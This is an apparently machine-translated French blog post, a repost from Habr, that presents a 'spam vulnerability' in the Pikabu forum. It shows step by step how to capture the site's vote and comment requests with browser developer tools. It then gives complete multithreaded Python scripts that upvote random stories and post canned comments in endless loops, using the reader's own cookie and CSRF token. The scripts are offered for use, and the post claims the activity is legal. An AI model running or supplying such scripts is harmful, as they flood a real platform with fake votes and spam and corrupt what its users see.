Vulnérabilité de spam dans Pikabu

Bonjour Je voudrais parler de la vulnérabilité de spam du forum Pikabu.


Je pense que le forum n'est pas le meilleur, donc je teste tout dessus.


À quoi ça sert?


La vulnérabilité réside dans l'augmentation de l'activité, le nombre de notes, les commentaires pour le minimum de temps en utilisant un script Python.


Montre moi!


Opération de script dans les 24 heures:


image


Vous pensez avoir édité le code HTML? Et non!


Comment as-tu fait ça?!


Très simple!


Créez d'abord un fichier .py:


image


Ensuite, importons les modules avec lesquels nous effectuerons des requêtes pour effectuer des actions, ainsi qu'un module de multithreading de notre script:


import requests from threading import Thread 

Créons maintenant une fonction avec une boucle infinie qui envoie nos requêtes:


 def spam(): while True: req = requests.post('') 

Mais comment connaissez-vous les données de la demande?


Ouvrez FireFox, allez à Pikabu.


Choisissez n'importe quel sujet. Survolez la flèche vers le haut:


image


Appuyez maintenant sur la combinaison de touches: cntr + shift + i.


La barre d'outils du développeur est apparue à l'écran:


Pour préserver la vision des utilisateurs de forum coûteux - j'ai dû couper le thème AdBlock (ohm):


image


Passons à l'onglet "réseau".


Nous voyons maintenant toutes les demandes sortantes dans ce navigateur.


Cliquez sur la flèche "évaluer le sujet" et regardez rapidement le panneau de requête.
Appuyez sur le bouton "méthode" jusqu'à ce que la première requête soit une requête de type "POST":


image


Parmi les premières requêtes, trouvez celle-ci:


image


Faites un clic droit dessus et survolez le bouton Copier, sélectionnez Copier les données POST. Ensuite, insérez les données dans la requête de cette façon:


 req = requests.post('https://pikabu.ru/ajax/vote_story.php', data = { 'story_id':story, 'vote':'1' }, ) 

Mais alors nous évaluerons le même poste!


Pour résoudre ce problème, ajoutez le module "aléatoire" aux modules déjà importés à l'aide du code:


 import random 

Et ajoutez la ligne à la boucle while:


 story = random.randint(1000000, 6865568) 

Continuons à créer une demande! Voici ce que nous avons déjà fait:


 import requests from threading import Thread import random def spam(): while True: story = random.randint(1000000, 6865568) req = requests.post('https://pikabu.ru/ajax/vote_story.php', data = { 'story_id':story, 'vote':'1' }, ) 

Ajoutez à la demande la chose la plus importante - les en-têtes. Revenons à FireFox, faites un clic droit sur la demande, sélectionnez "Copier" mais cette fois - "Demander les en-têtes".
De la même manière, à travers les deux-points et les guillemets, insérez-les dans le code:


 import requests from threading import Thread import random def spam(): while True: story = random.randint(1000000, 6865568) req = requests.post('https://pikabu.ru/ajax/vote_story.php', data = { 'story_id':str(story), 'vote':'1' }, headers = { 'Host: 'pikabu.ru', 'User-Agent': ' ', 'Accept': 'application/json, text/javascript, */*; q=0.01', 'Accept-Language': 'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Accept-Encoding': 'gzip, deflate, br', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 'X-Csrf-Token': ' ', 'X-Requested-With': 'XMLHttpRequest', 'Content-Length': '23', 'Connection': 'keep-alive', 'Referer': 'https://pikabu.ru/', 'Cookie': '  ' }) 

Dans le champ "vos données", insérez vos valeurs.


Affichez l'état de la demande:


 print(req) 

si "responce <200>" s'affiche, la demande a été envoyée et le sujet a été évalué.
Ensuite, nous rendrons le script un peu plus rapide (exactement 55 fois).


Créez un filetage pour nos demandes:


 for i in range(55): thr = Thread(target = spam) thr.start() 

Eh bien, c'est tout! Vous pouvez courir.


Et voici tout le code:


 import requests from threading import Thread import random def spam(): while True: story = random.randint(1000000, 6865568) req = requests.post('https://pikabu.ru/ajax/vote_story.php', data = { 'story_id':str(story), 'vote':'1' }, headers = { 'Host: 'pikabu.ru', 'User-Agent': ' ', 'Accept': 'application/json, text/javascript, */*; q=0.01', 'Accept-Language': 'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Accept-Encoding': 'gzip, deflate, br', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 'X-Csrf-Token': ' ', 'X-Requested-With': 'XMLHttpRequest', 'Content-Length': '23', 'Connection': 'keep-alive', 'Referer': 'https://pikabu.ru/', 'Cookie': '  ' }) print(req) for i in range(55): thr = Thread(target = spam) thr.start() 

De la même manière, les commentaires de triche sont effectués. Je ne l'expliquerai pas en détail, il suffit de présenter le code:


 # -*- coding: utf8 -*- import requests from threading import Thread import random def sender(): comments = [' !  !  !', ' ! !    !', '  ! !     ...', '!  !', '  .  !', ', !', ' !  !  !', ' ! !'] while True: #6863803 postid = random.randint(1000000, 6865568) comnom = random.randint(0, 7) req = requests.post('https://pikabu.ru/ajax/comments_actions.php', data = { 'desc':comments[comnom], 'action':'create', 'story_id':postid, 'parent_id':'0', 'images':'[]' }, headers = { 'Accept':'application/json, text/javascript, */*; q=0.01', 'Accept-Encoding':'gzip, deflate, br', 'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Content-Length':'23', 'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8', 'Cookie':' ', 'Host':'pikabu.ru', 'Referer':'https://pikabu.ru/', 'TE':'Trailers', 'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:66.0) Gecko/20100101 Firefox/66.0', 'X-Csrf-Token':' ', 'X-Requested-With':'XMLHttpRequest'}) print(postid, ' commented: ',req.text) for i in range(35): thr = Thread(target = sender) thr.start() print(thr) print('All thread are initialized! Programm started!') 

C’est tout. Vous pouvez prendre d'assaut les publications et les commentaires.


Bonne chance


Love Habr.


Les actions ci-dessus sont parfaitement légales, ne violent pas plus d'un article du Code pénal de la Fédération de Russie le 10/02/2019.

Source: https://habr.com/ru/post/fr469839/


All Articles